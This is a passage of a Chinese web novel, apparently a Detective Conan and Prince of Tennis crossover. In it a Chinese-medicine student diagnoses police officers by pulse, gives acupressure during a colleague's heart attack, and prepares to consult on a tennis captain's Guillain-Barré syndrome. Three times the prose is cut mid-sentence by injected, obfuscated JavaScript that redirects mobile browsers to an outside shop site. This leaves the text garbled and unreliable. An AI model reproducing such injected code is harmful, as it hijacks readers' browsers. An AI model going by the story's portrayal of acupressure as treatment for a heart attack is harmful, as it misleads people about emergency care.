在系统赋予的感知加持下,他不仅能感受到速率和节律,更能隐约“触摸”到那股脉动背后所反映的气血状态。 “伊达前辈的脉象,整体偏弦、略紧。”江起缓缓开口,语气平稳专业,“弦主肝胆,紧主寒痛,您是不是除了颈肩僵硬,还偶尔有偏头痛,或者胁肋部隐隐的胀闷感?另外,脉在关部略有滑象,但力度不足,提示脾胃负担重,消化功能有所减弱,是不是饮食很不规律,且偏好油腻重口?” 伊达航瞪大了眼睛:“神了!全中!我最近是有点头疼,右肋下面有时候是有点说不出的闷,吃饭嘛……你知道我们这行,哪有准点,经常随便扒拉两口,就爱吃点重味的提神。” “长期如此,伤肝伤脾,肝主筋,肝气不舒,筋脉失养,所以颈肩僵硬疼痛。脾胃不和,气血生化不足,整个人就容易疲劳,恢复慢。” 江起收回手,一边指着自己身体的几个部位建议道,“尽量规律饮食,哪怕简单,也要吃。夜宵少吃油腻,可以常按揉太冲穴、足三里穴,疏肝健脾,颈部不适,可以经常做‘米’字操,缓慢活动颈椎。” “记住了记住了!太冲、足三里!”伊达航连连点头,看向江起的眼神多了佩服。 “我来我来!”高木涉也好奇地伸出手,他的脉象细而略数,左关部尤其细弱,且略有涩感。 “高木君,你最近是不是精神压力比较大,思虑过度?睡眠可能也不太踏实,多梦易醒。另外,是不是偶尔有胃部隐隐作痛,或者饿得快但吃不多的情况?” 高木涉脸微微一红,讷讷道:“是……最近跟一个案子,有点钻牛角尖,晚上老在想……睡眠是不太好,胃是有点不舒服,我还以为是饿的……” “思虑伤脾,长期紧张焦虑也影响肝的疏泄,脾胃互为表里,脾虚则胃弱,除了调整心态,试着睡前放松,可以常按揉内关穴、神门穴,宁心安神,平时注意腹部保暖,饮食温和。”江起温和地建议。 轮到目暮十三。 警部的脉象沉而缓,略显滑腻,尤其在右关部(脾胃)和尺部(肾)。 江起沉吟了一下,谨慎措辞:“目暮警部,您的工作需要长时间高度集中和决策,耗神严重,脉象显示中焦运化有些倦怠,湿气略重,这可能和长期伏案、缺乏运动、以及饮食结构有关。您是否有时会感到头重如裹、身体困倦、口中粘腻?体检时血脂、血糖或尿酸指标是否需要注意?” 目暮十三神色严肃了些,点了点头:“确实有这种感觉,身上总觉得沉,今年的体检报告……确实有几个箭头。”他叹了口气,“看来真得注意了,江君,有什么建议?” “控制饮食,特别是高油高糖高嘌呤的食物,增加适量运动,哪怕每天散步半小时。可以常用薏苡仁、赤小豆煮水代茶饮,健脾利湿。平时多按揉丰隆穴、阴陵泉穴,化痰湿,健脾胃。”江起给出具体建议。 “好,我记下了。谢谢江君。”目暮十三郑重道谢,看江起的眼神已不仅仅是欣赏,更带上了对专业人士的尊重。 萩原可以起哄:“佐藤前辈,您也来让江君看看!您这脸色,比小阵平还像拆了十个炸弹没睡觉的!” 佐藤正义可能笑着推辞:“我没事,就是累的……”但在众人的劝说下,还是伸出了手。 16.第 16 章 江起三指搭上他的手腕,凝神片刻,眉头几不可查地微微一蹙。 指下的脉象沉细无力,兼有结代,尤其在左手寸部(心)和关部(肝)极为明显,这是典型的心气心血严重耗伤、兼有瘀滞的征象,是长期过度劳累、精神压力巨大、可能已有器质性心脏病变的脉象。,远比其他人严重。 江起抬起眼,看着佐藤正义,语气比之前更加认真严肃:“佐藤管理官,您的脉象……显示心脏负荷很重,气血严重亏虚,且有瘀滞。您最近是不是除了疲劳,还经常感觉胸闷、心慌,或者稍微活动就气短、出虚汗?夜间睡眠如何?有没有突然惊醒或者感觉透不过气的时候?” 佐藤正义笑容僵了一下,眼中闪过一丝被说中的愕然和掩饰:“这个……还好吧,就是有点累,睡不好是常事……” 目暮十三脸色凝重起来:“佐藤,江医生不是外人,你实话实说!” 在目暮和伊达航的目光下,佐藤正义叹了口气:“是有点……胸口有时候发闷,爬楼梯有点喘,晚上……是会醒一两次,我以为就是没休息好。” “这很可能不仅仅是疲劳。”江起沉声道,“我强烈建议您,尽快去医院做一次全面的心脏检查,包括心电图、心脏彩超,最好做个冠脉CTA,在此之前,请务必避免熬夜、饮酒、情绪激动和剧烈运动,今天这酒,您最好以茶代酒了。” 他看向目暮,“目暮警部,佐藤前辈的情况,需要特别关注。” 目暮立刻点头:“江君,我明白了,佐藤,听到没有?这杯你别喝了!” 他直接拿走了佐藤正义的酒杯。 佐藤正义有些讪讪,但也知道江起说得在理,点头应下:“好,好,听医生的,我喝茶。” 最后是萩原研二和松田阵平。 萩原的脉象弦滑而略数,显示他思维活跃,但可能有时容易心烦、睡眠不深。 江起笑着点出他“表面轻松,内心其实想得不少”,建议他偶尔也要真正放松,别把弦绷得太紧,可以多按揉神门和三阴交。 萩原听了,笑容微敛,随即又灿烂起来,拍了拍江起的肩:“被看穿啦!江君真厉害!” 松田阵平则一脸“麻烦”的表情伸出手,他的脉象弦紧有力,但深处带着一丝不易察觉的涩意,尤其在左手寸部(对应心)和关部(肝)。 江起感受着那有力却不够流畅的搏动,抬眼看了看松田眼下淡淡的青黑,和眉宇间挥之不去的倦色与燥意。 “松田警官,”江起的声音比之前更认真了一些,“你的脉象,肝气郁结,心火偏旺。是不是长期熬夜,抽烟也不少?最近是不是容易烦躁、胸闷,或者有无缘由的心跳突然加快一下的感觉?颈部、肩背的僵硬感应该也很明显。” 松田阵平嘴角动了动,没否认,只是“嗯”了一声。 “拆弹工作压力巨大,精神长期高度紧绷,最耗心血,也最易导致肝气不舒。烟酒熬夜更是雪上加霜。”江起直视着他,“内关穴、膻中穴可以常按,宽胸理气,太冲穴泻肝火。最重要的,” 他顿了顿,“尽量保证睡眠,哪怕时间短,质量也要高,抽烟……能少则少,你的身体,不是你一个人的。” 最后这句话说得很轻,但包厢里安静了一瞬。 松田阵平看着江起,墨镜后的眼神看不真切,但嘴角那丝惯常的不耐烦弧度似乎平了些,他没说什么,只是收回了手,拿起啤酒杯喝了一口。 萩原研二赶紧打圆场:“好啦好啦,小阵平,听到没,医生发话了!以后我监督你少抽点!江君,谢啦,这家伙就这臭脾气,但你的话他肯定听进去一点了!” 气氛重新活跃起来,大家纷纷笑着让松田“遵医嘱”。 江起的这一番“把脉问诊”,不仅展现了他扎实的专业功底,更以一种关切而非说教的方式,拉近了与每个人的距离,他能感觉到,目暮、伊达航、高木看他的眼神更加亲近,那是一种对“关心自己健康的可靠朋友”的认同。 然而,就在聚会气氛推向高潮,大家开始商量下一摊要去哪里时,意外发生了。 “佐藤前辈?”伊达航最先察觉不对。 只见这位佐藤管理官脸色在瞬间变得惨白如纸,额头上渗出大颗大颗的冷汗,一只手死死地攥住了自己胸前的衬衫,手指关节因为用力而发白。 他张着嘴,似乎想吸气,却只发出“嗬……嗬……”的艰难气音,身体无法控制地向一旁歪倒。 “前辈!” “佐藤管理官!” 离他最近的伊达航和高木涉惊呼着想去扶。 目暮十三也猛地站起,脸色大变。 “都别动他!”江起的声音在瞬间响起,冷静、清晰,带着不容置疑的力度,瞬间压过了包厢内的慌乱,他几乎在佐藤管理官脸色变化的同一时间就动了,此刻已单膝跪到对方面前。 视野中,刺眼的红色警示与复杂的身体数据流一闪而过: 【急性冠脉综合征!心梗前兆/早期!】 【定位:左前降支区域缺血可能。】 【生命体征:血压急剧波动,心率失常,血氧下降…】 “江君!”萩原研二也冲了过来,声音紧绷。 “可能是急性心梗。听我指挥。”江起语速极快,手上动作更快,他迅速检查了佐藤管理官的瞳孔,对光反射存在,但脸色很痛苦,触摸颈动脉,并贴近胸口听了一下,没有心跳骤停,但随时可能发生。 “让他平躺,头肩稍垫高,保持气道通畅,萩原警官,打急救电话,说疑似急性心梗,需要除颤仪准备,患者有意识但痛苦,松田警官,帮忙疏散一下门口,保持空气流通,伊达前辈,高木君,帮我扶稳他,我要给他做穴位刺激争取时间。” 一连串指令清晰果断。 原本有些慌乱的几人在江起冷静的指挥下,迅速找到了主心骨。 萩原立刻掏出手机到一旁拨打119,语速飞快但清晰。 松田一言不发地拉开包厢门,对闻声而来的服务员低语几句,挡住了好奇的视线。 伊达航和高木涉小心地协助江起,让佐藤管理官平躺下来。 江起已经挽起了佐藤管理官的衣袖,找准左手腕的内关穴,用拇指指腹替代银针,以极大的力度和精准的角度,重重按压下去,并施加持续的揉动。 这是“指针”急救法,在缺针少药时刺激力最强。 “呃啊——!”佐藤管理官发出一声痛苦的呻吟,身体剧烈颤抖了一下,但随即,那急促到快要断掉的呼吸似乎勉强接上了一口气。 江起手下不停,紧接着按压郄门穴、极泉穴,最后是头顶的百会穴和鼻下的人中穴,行强刺激以醒神开窍、回阳固脱。 每一指都沉重而稳定,带着一种奇特,仿佛能透入骨髓的劲道。 佐藤管理官在剧痛中,脸色那骇人的死白似乎略微回转了一点点,攥着胸口的手也松了一丝力气,眼神虽然依旧痛苦涣散,但似乎有了一点微弱的光。 “呼吸,慢一点,尽量深呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895166|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……对,就这样……”江起一边持续刺激穴位,一边用平稳的声音引导,同时密切关注着对方的生命体征。 他能“感觉”到,在持续的重刺激下,对方心脏区域那股致命的痉挛和缺血感,有了一丝极其微弱的松动迹象,如同在坚冰上凿开了一道细缝。 时间仿佛被拉长了。 包厢里只剩下佐藤管理官粗重艰难的喘息,江起平稳的指令和引导声、以及众人压抑的呼吸。 烤盘上的肉早已焦糊,无人理会。 目暮十三紧紧握着拳,脸色凝重。 伊达航和高木涉半跪在一旁,满脸焦急。 松田阵平守在门口,背脊挺直,目光紧盯着江起和地上的佐藤。 萩原研二打完电话,也蹲在江起身边,随时准备接手。 几分钟后,远处传来了救护车尖锐的鸣笛声,由远及近。 “急救人员到了。”松田沉声道。 江起最后在内关和膻中重按数下,然后迅速而清晰地向冲进来的急救人员交接:“疑似急性心梗,突发胸痛、呼吸困难、冷汗、面色苍白,意识尚存,无呕吐,我进行了内关、郄门等穴位持续按压刺激,目前呼吸略有改善。” 急救人员训练有素,迅速接手,测量生命体征,吸氧,建立静脉通路,将人抬上担架。整个过程不超过三分钟。 “你做的?”为首的急救员在离开前看了一眼江起,又看了一眼旁边明显是警察的目暮等人,眼中带着赞许和一丝了然,“手法很专业,后续可能需要你配合做个简单的说明。” “应该的。”江起点头。 救护车闪烁着刺目的红光,呼啸着离开。 包厢里重新安静下来,但空气中弥漫的紧张、后怕和烤肉的焦糊味混杂在一起,气氛沉闷。 “江君……”目暮十三长长地吐出一口气,走到江起面前,用力拍了拍他的肩膀,声音有些沙哑,“多亏了你……真的,佐藤他……唉,工作起来不要命……” “江医生,太感谢了!”伊达航也重重地道谢,高木涉在一旁用力点头。 萩原研二揉了揉脸,挤出一个笑容,但眼神里也满是后怕:“吓死我了……江君,你今天又救了一条命,而且是我们的前辈。” 松田阵平走过来,递给江起一瓶没开的矿泉水,什么都没说,但眼神里的意味很明显。 江起接过水,喝了一口,冰凉的液体滑入喉咙,让他因为高度集中而有些发热的头脑冷静下来。“应该的,希望佐藤前辈能平安度过。” “有你的及时处理,希望大了很多。”目暮十三肯定地说,他看了看一片狼藉的包厢和神色各异的部下们,叹了口气,“今晚就到这吧。大家都受了惊吓,早点回去休息,江君,你也辛苦了,今天的事,警视厅会记住的。” 聚会以这样一种意想不到的方式戛然而止。 但江起知道,今夜之后,他在这些警察心中的分量,已然不同,他不仅仅是一个“有本事的医生朋友”,更是在危急关头能够托付生命、创造奇迹的“自己人”。 离开餐厅,夜风微凉。 江起独自走向车站,脑海中还在回放着刚才急救的每一个细节,救人是医者的本能,但卷入警察这个群体越深,面临的危险和复杂恐怕也会越多。 手机震了一下,是松田阵平的短信,只有一句话: 【谢了,回去好好休息。】 江起看着屏幕,夜空中的星子稀疏却明亮,他收起手机,加快了脚步。 17.第 17 章 急救车的鸣笛声仿佛还在耳边回响,周三晚上的聚会以一场惊心动魄的急救告终,当江起独自回到高田马场的公寓时,已近深夜。 房间里一片寂静,与不久前包厢里的紧张喧嚣形成鲜明对比。 他走到窗边,没有开灯。 远处东京塔的光芒在夜色中规律地明灭,像这座城市永不沉睡的眼睛,指尖似乎还残留着按压佐藤管理官内关穴时,那沉重而滞涩的脉搏触感,以及对方皮肤上冰冷粘腻的冷汗。 医学上没有“如果”,但江起忍不住想,如果没有提前把脉预警,如果没有立刻实施指针急救,如果救护车晚到几分钟……结果会不会截然不同? 他深吸一口气,将这些杂念压下。 作为医者,他已做了能做的一切,剩下的,交给现代医学,也交给命运。 洗漱,躺下。 闭上眼睛,聚会的画面、急救的细节、众人震惊后怕的眼神,还有松田阵平最后那句简短的“谢了”,在黑暗中一一浮现。 他知道,今夜之后,有些东西不一样了。 周四清晨,手机闹钟准时响起。 江起像往常一样起床,洗漱,准备早餐。生活似乎又回到了熟悉的轨道,如果忽略掉手机上多出的几条未读信息。 一条是萩原研二发来的,时间显示是凌晨两点多:【江君,佐藤前辈已送进ICU,医生说你的现场处理非常关键,为手术赢得了宝贵时间,目前生命体征暂时稳住,但还没脱离危险,醒了告诉你。ps. 目暮老哥让我一定要替他再谢谢你,他守在医院。】 另一条是大约半小时前,来自一个陌生号码,但语气一看就是松田阵平:【人还在ICU,今天别到处乱跑。】 言简意赅,带着他一贯的风格,但背后的关切显而易见,江起回复了萩原,让他和目暮警部也多保重,又给松田回了个【好】。 上午是《药理学》大课。 江起坐在阶梯教室中后排,强迫自己将注意力集中在教授讲解的药物代谢动力学图表上。 然而,脑海中的知识库似乎比平时更“活跃”,当教授提到某种β受体阻滞剂时,关于其降低心肌耗氧量、用于心梗后治疗的机制、以及可能的中药协同思路便自动关联浮现。 他快速在笔记本边缘记下几个关键词,这是系统赋予的知识与他自身学习过程的又一次微妙交融。 课间休息,手机又震了一下。 这次是石田一郎发来的邮件,很简短:【江君,听闻昨夜之事,处理得当,今日诊所接诊,如有空,可来详谈,另,青学手冢君的治疗按原计划下午进行。】 江起回复确认,石田先生的消息很灵通,这并不意外,这位前辈的庇护和引导,是他能在东京迅速站稳脚跟的重要因素。 下午,江起准时来到石田诊疗所。 自动门滑开,前台的小林护士看到他,立刻站起身,眼神里比昨天多了几分显而易见的敬佩和一丝……好奇? “江医生,您来了,石田先生在办公室等您,手冢君他们大概半小时后到。”小林护士的声音很轻快。 “谢谢,小林护士。”江起点头,走向二楼,他能感觉到背后注视的目光。 昨晚的事,看来在小范围内已经传开了。 石田一郎的办公室门虚掩着,江起敲了敲门。 “请进。” 石田一郎坐在办公桌后,正在看一份文件,他抬头看到江起,指了指对面的椅子:“坐,看你脸色有些疲惫,昨晚没休息好?” “还好,佐藤管理官的情况……”江起坐下,关心地问道。 “我刚和医院的老朋友通过电话。”石田一郎放下文件,双手交叉放在桌上,神情严肃。 “急性前壁心肌梗死,冠脉左前降支近段严重狭窄,你当时的穴位按压,尤其是对内关、郄门的强刺激,很可能在一定程度上增加了冠脉侧支循环的开放,或者稳定了心律,为后续的急诊PCI(经皮冠状动脉介入治疗)创造了极其有利的条件。 手术很及时,支架已经放入,目前生命体征趋向平稳,但心肌损伤面积不小,预后还需观察。” 他顿了顿,看着江起:“你做得非常好,远超一个普通医学生,甚至许多执业医生的应急能力,目暮警部早上也给我打了电话,语气非常激动,你救了他们很重要的同僚。” “我只是做了该做的,希望佐藤前辈能顺利康复。”江起平静地说。听到手术成功,他心里一块石头稍稍落地。 “嗯。不过,江君,”石田一郎话锋一转,金丝眼镜后的目光变得深邃,“这件事,加上之前的风见君,还有更早的爆炸案……你正在以一种不同寻常的速度,进入某些人的视野,获得某些圈子的认可和……欠债。” 他用了“欠债”这个词,很直白。“这是一把双刃剑,它会给你带来庇护和资源,也可能带来更多的关注和……麻烦,你要有心理准备。” “我明白,石田先生。”江起郑重地点头,昨晚他就想到了这一点。 “明白就好,在诊所这边,安心做你该做的事,你的技术和人品,是你最大的护身符。”石田一郎的语气缓和下来,“好了,去准备吧,手冢君应该快到了,他的治疗不能耽搁。” “是。” 江起来到1号诊室,稍微整理了一下心情,换上白大褂,检查了一遍器械。 几分钟后,小林护士领着人进来了。 今天来的不止手冢国光和大石秀一郎,不二周助也一起来了。 少年精致的脸上带着惯常的温和微笑,但栗色的眼眸在看到江起时,闪过一丝探究和不易察觉的锐利。 “江医生,下午好。”手冢国光依旧礼貌而清冷,但江起能感觉到,比起最初,少年身上那种因伤病而产生的沉重压抑感,似乎减轻了微乎其微的一丝。 这是一个好的迹象,说明治疗和康复训练在起效。 “手冢君,大石君,下午好,这位是?”江起看向不二。 “江医生,您好,我是青学网球部的不二周助,国光的队友,今天陪他一起来,不会打扰您吧?”不二周助微笑着解释,语气温和有礼。 “不会,欢迎,请坐。”江起示意他们坐下,然后开始例行询问手冢过去几天的感受,并进行了简单的活动度复查。 情况稳定,肩部在特定角度的涩滞感有轻微改善。 “今天继续之前的方案,重点还是在松解冈上肌附着点,和肩峰下间隙的粘连,同时加强远道取穴对气血的调动。”江起一边消毒,一边解释。 他下针依旧稳定精准,在捻转行针时,他能更清晰地“感知”到手冢肩部气血流通的细微变化,那些曾经阻滞的“节点”正在一点点变得通畅。 留针期间,诊室里很安静。 不二周助安静地坐在一旁,目光却并未离开江起和手冢,他忽然轻声开口,打破了寂静:“江医生,听说您昨晚做了一件很了不得的事情。” 江起正在调整艾灸盒的位置,闻言动作几不可查地顿了一下,抬眼看向不二,少年依旧微笑着,但眼神里的探究意味更浓了。 旁边的大石也看了过来,显然也听说了什么。 消息传得真快。 是了,青学这些少年的家庭背景似乎都不简单,尤其是眼前这位不二周助……江起想起一些模糊的传闻。 “只是恰好遇到,做了点力所能及的事。”江起含糊地带过,将艾灸盒放在手冢肩部上方固定的高度,“手冢君,感觉一下这个温度,烫了就说。” “温度正好。”手冢回答,然后看向不二,眉头几不可查地蹙了一下,似乎对他提起这个话题有些不满。 不二笑了笑,没再追问,但显然并未打消好奇。 治疗结束时,手冢活动了一下肩膀,冷峻的脸上露出几乎难以察觉的舒缓:“感觉比上次更松一些,发力时,那种被卡住的感觉减轻了。” “很好,这是气血进一步通畅,筋膜粘连松解的表现,继续保持康复训练,但注意强度和姿势。”江起叮嘱道,又开了些外用的活血散瘀中药散剂,让他配合热敷。 送走青学三人,江起回到诊室收拾。 不二周助最后那个意味深长的微笑和探究的眼神,让他隐约感到,自己在这些敏锐的少年眼中,恐怕已经不再是一个简单的“医生”了,这或许也是名声带来的“副作用”之一。 处理完手冢的病例,下午剩下的时间,江起在石田一郎的示意下,开始独立接诊一些预约的普通针灸患者。 大多是附近的居民,患有颈椎病、腰椎间盘突出、膝关节退行性变或失眠等慢性病。江起仔细问诊,辨证取穴,手法娴熟。 系统虽然不会对这类常见病弹出醒目提示,但他能感觉到,那些储存在脑海中的海量治疗方案和临床经验,正在被快速调用、匹配,让他的诊断和治疗更加得心应手,甚至能提出一些让老患者更个性化的调理建议。 一位长期腰痛的老太太在起针后,扶着腰惊讶地走了几步,转头对江起说:“江医生,你这次扎的这个地方,酸胀感直接窜到脚底,以前别的医生没扎过这里,但这次起来感觉特别松快!” 江起微笑着解释了几句经络循行的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900445|191987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理,老太太满意地离开了,顺便在前台和小林护士夸了几句“新来的江医生真不错”。 傍晚,江起结束了一天的工作,向石田一郎汇报了接诊情况后,离开了诊所。 夕阳的余晖将街道染成暖金色。 手机在口袋里震动了两次。一次是银行入账短信,石田诊所支付的上一周薪酬,数额可观,远超普通兼职。 另一次,是柳莲二的调查,也在同时刻,取得了关键性的进展。 就在江起于诊所接诊、不二周助暗中观察的同时,神奈川县立海大附属中学的图书馆内,柳莲二正对着一台笔记本电脑屏幕,眉头微锁。 屏幕上打开着数个窗口:东大医学院的公开信息页面、几个月前一篇关于街头爆炸案的本地新闻报道、警视厅内部某个不对外公开的表彰通报栏截图,以及一份来自某个私立医院的、经过去标识化处理的病例讨论摘要。 这些信息碎片,拼凑出一个越来越清晰的轮廓:江起,这个突然出现在切原描述中、随后又接连与手冢国光、警方产生交集的年轻留学生,绝不仅仅是一个“有点厉害的针灸学生”。 柳莲二的手指在触摸板上滑动,点开了一个加密文件夹,里面有几张照片,是远距离拍摄的,像素不算高,但能看清人脸。一张是江起走进“石田诊疗所”的背影;一张是他在某个便利店外的侧影;还有一张,似乎是昨晚在家庭餐厅外,被偶然拍到的模糊画面,背景里还能看到伊达航和高木涉的身影。 “爆炸案急救……警方关系……石田诊所……手冢的治疗……”柳莲二低声自语,淡紫色的眼眸中数据流般的光芒闪烁,“概率估算:医术高超的真实性,85.7%。与警方存在非一般联系,72.3%。背景相对干净(留学生),但存在未查明区域,65.1%。对幸村的病情可能产生积极影响的概率……基于现有数据,提升至41.5%。” 这个概率,虽然仍未过半,但相比最初,已经跃升了一大截。 尤其是昨晚那个模糊拍摄到的、与警方共处一室的画面,以及今天早上他设法核实到的、关于某位警视厅管理官被一位“年轻医生”现场急救的传闻,让“可靠性”这一项的权重显著增加。 他关掉网页和文件夹,沉吟片刻,拿起手机,拨通了一个号码。 电话很快被接通,那边传来一个温和而略带疲惫的年轻声音:“莲二?怎么了?” “精市,”柳莲二的声音平静无波,“关于之前提到的那位江起医生,我这边有一些新的调查进展,我想,我们可以更正式地考虑一下,向他进行咨询的可能性了。” 电话那端沉默了几秒,然后,幸村精市的声音清晰了一些,带着一种几乎难以察觉的希冀:“是吗?你似乎比之前更确定了一些,能告诉我,是什么让你改变了看法吗?” 柳莲二没有提及那些可能涉及灰色地带的调查细节,只是概括道:“他最近又成功处理了一起非常紧急的医疗事件,对象是警界人士,效果得到证实,而且,他目前稳定地在东京一家信誉很好的汉方诊所执业,手冢国光在那里接受他的治疗,反馈积极。 综合评估,他的专业能力和可靠性,值得我们去接触一下,至少,进行一次深入的病情咨询,不会有坏处。” “……我明白了。”幸村精市的声音很轻,但柳莲二能听出其中细微的波动,“谢谢你,莲二,这件事,麻烦你了,如果可以……我想尽快安排,真田那边,我会和他商量。” “交给我吧,我会通过正式渠道,联系那位江医生所在的诊所。”柳莲二说,“保持希望,精市。” 挂断电话,柳莲二望向窗外。 立海大网球部的训练刚刚结束,真田弦一郎正在严厉地训斥着几个偷懒的部员,切原赤也抱着球拍一脸不服气却又不敢顶嘴。 远处,医院的白色大楼在夕阳下矗立。 他将手机收好,在笔记本上记录下新的数据节点和行动项,江起……这个突然出现的变量,究竟会在幸村精市,乃至立海大网球部的命运线上,带来怎样的扰动呢? 柳莲二合上笔记本,眼底深处闪过一丝期待。数据是冰冷的,但可能性,永远是迷人的。而这位年轻的医生,似乎正在成为一个新的、值得重点观察的“可能性源头”。 夜色渐浓,东京与神奈川的两条线索,在无人知晓的维度,正缓缓地、不可避免地向着交汇点延伸。 而身处诊所与校园之间的江起,对此尚且浑然不觉,只是觉得这个秋天的傍晚,风格外清爽。 他抬头看了看逐渐亮起星星的夜空,走向车站的方向。 18.第 18 章 周五的清晨,东京下起了绵绵秋雨。 雨丝细密,将城市笼罩在一片灰蒙蒙的静谧之中。 江起撑着伞,走向石田诊疗所,背包沉甸甸的,里面除了惯常的物品,还多了几本昨夜从图书馆借来的,关于神经免疫性疾病和康复医学的专著,以及一个厚厚的他连夜整理的笔记文件夹。 他昨晚接到小林护士的电话时,是有些意外的。 “江医生,打扰了,我是小林。 石田先生让我通知您,诊所今天接到一个正式的预约咨询,来自神奈川县立海大附属中学,患者姓名是幸村精市,预约人是他的同学柳莲二。 咨询方向是神经系统疾病恢复期的辅助调理咨询,石田先生让我把预约信息,和对方提供的基本病情摘要邮件发给您,请您提前了解一下。 咨询时间定在明天上午十点,1号诊室。”小林护士的声音一如既往的专业。 神奈川、立海大附属中学、幸村精市。 这几个关键词组合在一起,江起几乎是立刻就明白了缘由,他瞬间想起了大约十天前,在街头网球场,那个一头海藻般卷发、眼神凶悍又带着稚气的少年——切原赤也。 因为他之前为手冢国光处理完急性肩伤,不知道从哪得到消息的那个少年就冲了过来,语无伦次却又异常急切地,想请他帮忙看看他们“生病了的部长”。 江起还记得自己当时观察切原后,随口点出的几个问题——轻微贫血倾向、熬夜、用眼过度、以及潜在的血液循环问题。 那些话说得随意,却似乎精准地戳中了切原,少年脸上的震惊和随即燃起的希望之火,江起印象颇深 后来,他答应了“可以先看看情况,提点建议”,切原就风风火火地跑了,留下一句“我会和部长说的!” 原来,真的“说了”。 而且,看来不只是“说了”,还引来了对方正式通过诊所渠道的预约,而且这个叫柳莲二的预约人,显然比切原要沉稳周密得多。 他快速打开邮件,附件里是柳莲二整理的一份非常精炼的病情概要,清晰地列出了幸村精市的发病时间、主要诊断(格林巴利综合征,GBS)、关键治疗经过(血浆置换、免疫球蛋白等)以及目前遗留的主要症状(四肢乏力、易疲劳、感觉异常、精细动作障碍)和正在进行的现代康复方案。 资料详实,条理清晰,但没有提供具体的检查报告。 格林巴利综合征。 一个对医学生来说绝不陌生的名词,一种急性炎症性脱髓鞘性多发性神经病,属于自身免疫性疾病,攻击周围神经。 典型表现就是进行性四肢无力,严重时可累及呼吸肌,预后差异很大,恢复期漫长,且常留有后遗症。 江起放下电话,坐回书桌前。 窗外是东京的夜景,璀璨而陌生。 因为一次街头的偶遇和一次随口的观察,他竟然真的被“拜托”去面对这样一种复杂棘手的疾病。 这感觉有些奇妙,也有些沉重。 切原那孩子,大概是抱着“死马当活马医”的急切心情,把他的话当成了救命稻草,而这位柳莲二,则用如此专业的方式接过了这根稻草,并试图确认它是否真的足够坚韧。 他需要好好准备一下,不是为了夸口承诺,而是为了能进行一场有价值、负责任的专业对话,而是为了不辜负那份从切原那里,传递过来笨拙却真诚的期望,也为了应对这次正式咨询所代表的专业审视。 格林巴利综合征,他在脑海中调阅了系统知识库中与“神经系统疾病”、“免疫调节”、“痿证”(中医对神经肌肉萎弱无力的统称)相关的庞大信息流。 信息浩瀚如海,但当他聚焦于“格林巴利综合征”、“脱髓鞘”、“自身免疫”等关键词时,相关的理论、研究进展、中西医治疗案例,以及大量关于针灸,中药在调节免疫、改善神经功能、促进修复方面的实验和临床观察信息,开始有序地浮现、排列、对比。 这不是一份现成针对幸村精市的“神医方案”。 系统似乎更倾向于提供原理、思路、可能有效的干预点,以及海量的经验数据,而不是简单的答案。 它更像一个顶级的智库和数据库,需要江起自己结合具体情况去分析、判断、整合、创造。 他快速在电脑上建立了一个新的文档,将系统提供的核心思路,与他自己所学的现代神经病学、免疫学知识相结合,开始搭建一个初步的评估框架和可能的干预方向: 核心病机理解:自身免疫攻击髓鞘 →神经传导障碍 →功能障碍。中医可归为“痿证”,病位在筋、肉,与肝、肾、脾、胃关系密切。大病后气血亏虚,肝肾不足,经络瘀阻,肌肉筋脉失养。 评估重点:除了西医的肌力、感觉、反射、神经传导速度,需增加中医的“望闻问切”,特别是全身状态(气色、舌脉、二便、睡眠、情绪)、气血盈亏程度、经络瘀阻的具体表现(如麻木部位、性质、与气候活动关系)。 可能干预思路: 调节免疫/改善内环境:选取特定穴位(如足三里、关元、三阴交、血海等,结合辨证),可能配合艾灸,旨在调节整体免疫状态,改善神经修复的微环境。 益气养血,健脾补肾:针对气血亏虚、肝肾不足的根本,通过针灸和可能的饮食/药物建议,固本培元,提升身体修复能力。 疏通经络,活血化瘀:针对麻木、无力、活动涩滞,选取局部和远道穴位,采用特殊手法,促进局部循环,疏通经络,缓解症状。 安神定志,调和阴阳:重视情绪和睡眠对免疫和康复的影响,通过针灸调节植物神经功能。 必须明确的原则:辅助、协同、渐进。不能替代现代康复。需与主治医生沟通。效果预期需客观(改善疲劳、睡眠、某些症状,可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顿了顿,看着江起,“不管他们是从什么渠道知道你的,既然以这种方式来了,就是认可你的专业可能性,你以专业、客观、严谨的态度应对即可。 评估后,能提供有价值的思路,我们尽力。 如果超出我们能力范围,或者风险收益比不明,也要坦诚告知,建议他们寻求更专业的机构,我们这里是诊所,提供的是医疗服务,不是奇迹,明白吗?” “明白,我会谨慎评估,给出负责任的建议,绝不做无法兑现的承诺。”江起郑重回答,石田一郎的话让他心里更有底,也明确了界限。 “好,去吧,我会在隔壁,如果有需要,随时叫我。”石田一郎摆摆手。 离开所长办公室,江起没有立刻去诊室,而是先去了自己的休息区,将昨晚整理的思路和今天新收到的资料再次快速过了一遍,调整了几个评估的侧重点,然后,他提前来到1号诊室,检查器械,调整灯光,确保环境舒适专业。 十点整,小林护士领着三个人走了进来。 19.第 19 章 